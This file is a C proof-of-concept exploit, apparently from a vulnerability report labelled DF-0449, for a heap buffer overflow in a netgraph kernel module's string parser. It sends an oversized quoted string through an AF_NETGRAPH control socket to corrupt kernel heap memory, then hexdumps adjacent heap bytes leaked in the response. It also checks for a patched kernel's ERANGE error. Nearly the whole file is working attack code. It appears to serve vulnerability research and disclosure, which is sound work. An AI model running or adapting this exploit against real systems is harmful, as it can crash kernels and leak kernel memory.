DF-0449 / ng_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * DF-0449 PoC โ heap buffer overflow in ng_string_parse (ng_parse.c:716) * * Trigger path (root-only, SYSCAP_RESTRICTEDROOT on ng_socket control ops): * socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL) [ng_socket.c:172] * sendto(.., NGM_ASCII2BINARY msg, .., ".") [ng_base.c:1578] * -> ng_generic_msg case NGM_ASCII2BINARY [ng_base.c:1636] * -> ng_parse(ng_parse_string_type, ...) [ng_parse.c:704] * -> ng_string_parse: bcopy(sval,buf,len) [ng_parse.c:716] * len = strlen(sval)+1, NO check len <= *buflen (2000) * * Secondary OOB read (info leak): ng_base.c:1644 sets arglen to the inflated * len; ship_msg (ng_socket.c:737) does m_devget(msg, sizeof(ng_mesg)+arglen) * which reads past the 2000-byte allocation into adjacent heap -> leaked bytes * delivered to userspace via recvfrom(). * * Build: cc -o ng_overflow ng_overflow.c * Run: ./ng_overflow (as root, after: kldload netgraph && kldload ng_socket) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* netgraph constants (from sys/netgraph/ng_message.h, ng_socket.h, socket.h) */ #define NG_AF 32 /* AF_NETGRAPH */ #define NG_CONTROL 2 #define NG_VERSION 2 #define NGF_RESP 0x0001 #define NGM_GENERIC_COOKIE 851672668UL #define NGM_ASCII2BINARY 13 #define NGM_TEXT_STATUS 11 #define NG_CMDSTRSIZ 32 struct ng_msghdr { u_char version; u_char spare; u_int16_t arglen; u_int32_t flags; u_int32_t token; u_int32_t typecookie; u_int32_t cmd; u_char cmdstr[NG_CMDSTRSIZ]; }; struct ng_mesg { struct ng_msghdr header; char data[0]; }; struct sockaddr_ng { u_char sg_len; u_char sg_family; char sg_data[14]; }; /* Oversized string: 2500 'A's -> decoded sval = 2500 bytes, len = 2501 * -> bcopy writes 2501 bytes into 2000-byte binary->data => 501-byte overflow. * Secondary OOB read leaks ~501 bytes of adjacent heap to userspace. */ #define PAYLOAD_A_COUNT 2500 int main(void) { int csock, error; ssize_t n; /* ---- build the quoted netgraph string: "AAAA...AAAA" ---- */ int qlen = PAYLOAD_A_COUNT + 2 + 1; /* quotes + N A's + NUL */ char *qstr = malloc(qlen); qstr[0] = '"'; memset(qstr + 1, 'A', PAYLOAD_A_COUNT); qstr[1 + PAYLOAD_A_COUNT] = '"'; qstr[1 + PAYLOAD_A_COUNT + 1] = '\0'; int qstrlen = strlen(qstr); /* PAYLOAD_A_COUNT + 2 */ int ascii_arglen = qstrlen + 1; /* room for forced trailing NUL */ /* ---- build the embedded "ascii" ng_mesg (the thing parsed) ---- */ int ascii_total = sizeof(struct ng_mesg) + ascii_arglen; struct ng_mesg *ascii = calloc(1, ascii_total); ascii->header.version = NG_VERSION; ascii->header.arglen = ascii_arglen; ascii->header.flags = NGF_RESP; /* -> respType = string_type */ ascii->header.token = 0x41414141; ascii->header.typecookie = NGM_GENERIC_COOKIE; ascii->header.cmd = NGM_TEXT_STATUS; strncpy((char *)ascii->header.cmdstr, "textstatus", NG_CMDSTRSIZ - 1); memcpy(ascii->data, qstr, qstrlen); /* trailing NUL already 0 from calloc */ /* ---- build the outer NGM_ASCII2BINARY message ---- */ int outer_arglen = ascii_total; int outer_total = sizeof(struct ng_mesg) + outer_arglen; struct ng_mesg *out = calloc(1, outer_total); out->header.version = NG_VERSION; out->header.arglen = outer_arglen; out->header.flags = 0; out->header.token = 0x42424242; out->header.typecookie = NGM_GENERIC_COOKIE; out->header.cmd = NGM_ASCII2BINARY; strncpy((char *)out->header.cmdstr, "ascii2binary", NG_CMDSTRSIZ - 1); memcpy(out->data, ascii, ascii_total); free(qstr); free(ascii); /* ---- open control socket (requires root) ---- */ csock = socket(NG_AF, SOCK_DGRAM, NG_CONTROL); if (csock < 0) { fprintf(stderr, "socket(AF_NETGRAPH,NG_CONTROL): %s (need root + " "kldload netgraph ng_socket)\n", strerror(errno)); return 2; } fprintf(stderr, "[*] control socket fd=%d opened\n", csock); /* ---- sendto own node (path ".") ---- */ struct sockaddr_ng dst; memset(&dst, 0, sizeof(dst)); dst.sg_len = 3; /* 2 hdr + 1 char */ dst.sg_family = NG_AF; dst.sg_data[0] = '.'; dst.sg_data[1] = '\0'; fprintf(stderr, "[*] sending NGM_ASCII2BINARY: string=%d A's, " "bufSize(buflen)=2000, expected overflow=%d bytes\n", PAYLOAD_A_COUNT, PAYLOAD_A_COUNT + 1 - 2000); n = sendto(csock, out, outer_total, 0, (struct sockaddr *)&dst, dst.sg_len); error = errno; free(out); if (n < 0) { fprintf(stderr, "[!] sendto failed: %s\n", strerror(error)); if (error == ERANGE) { /* The fix in ng_string_parse returns ERANGE when len > *buflen. * This is the FIXED-kernel signature: no overflow, no response * queued, recvfrom will just time out -- exit cleanly here. */ fprintf(stderr, "[+] ERANGE: the ng_string_parse bounds check " "fired (FIXED kernel/module). No overflow occurred.\n"); return 0; } if (error == ENOENT) { fprintf(stderr, "[!] path '.' not resolving โ guest may be down " "(panic during overflow processing)\n"); } /* fall through to try recv anyway */ } else { fprintf(stderr, "[+] sendto returned %zd bytes\n", n); } /* ---- try to recv the response (the secondary OOB read) ---- */ struct { struct ng_mesg hdr; char extra[8192]; } respbuf; memset(&respbuf, 0, sizeof(respbuf)); struct timeval tv = { 3, 0 }; setsockopt(csock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); n = recvfrom(csock, &respbuf, sizeof(respbuf), 0, NULL, NULL); error = errno; if (n < 0) { fprintf(stderr, "[!] recvfrom: %s\n", strerror(error)); if (error == EAGAIN || error == EWOULDBLOCK) fprintf(stderr, "[!] timeout โ likely the guest panicked from " "the heap corruption (check boot.log)\n"); return 0; } fprintf(stderr, "[+] recvfrom returned %zd bytes (response)\n", n); int resp_arglen = respbuf.hdr.header.arglen; fprintf(stderr, "[*] response header.arglen = %d (alloc was 2000)\n", resp_arglen); if (resp_arglen > 2000) { int leaked = resp_arglen - 2000; fprintf(stderr, "[!!] OVERFLOW CONFIRMED: arglen=%d > 2000; " "secondary OOB read leaked ~%d bytes of adjacent heap\n", resp_arglen, leaked); } /* The binary response payload is an embedded ng_mesg; its data[] is the * parsed string. Bytes beyond offset 2000 (within the binary->data) are * adjacent-heap bytes leaked by the OOB read. Dump a window past 2000. */ int total = sizeof(struct ng_mesg) + resp_arglen; if (total > (int)sizeof(respbuf)) total = sizeof(respbuf); if (total > n) total = n; /* binary->data starts at sizeof(ng_mesg) into the response payload */ int bin_data_off = sizeof(struct ng_mesg); printf("=== LEAKED ADJACENT HEAP BYTES (binary->data[2000 .. %d]) ===\n", resp_arglen); int start = bin_data_off + 2000; if (start >= total) { printf("(response truncated before leak window)\n"); } else { for (int i = start; i < total; i++) { unsigned char c = ((unsigned char *)&respbuf)[i]; if (i % 16 == start % 16) printf("%04x: ", i - bin_data_off); printf("%02x ", c); if ((i - start) % 16 == 15) printf("\n"); } printf("\n"); } printf("=== full response hexdump (first 256 bytes of binary->data) ===\n"); for (int i = bin_data_off; i < total && i < bin_data_off + 256; i++) { unsigned char c = ((unsigned char *)&respbuf)[i]; if (i % 16 == bin_data_off % 16) printf("%04x: ", i - bin_data_off); printf("%02x ", c); if ((i - bin_data_off) % 16 == 15) printf("\n"); } printf("\n"); return 0; } |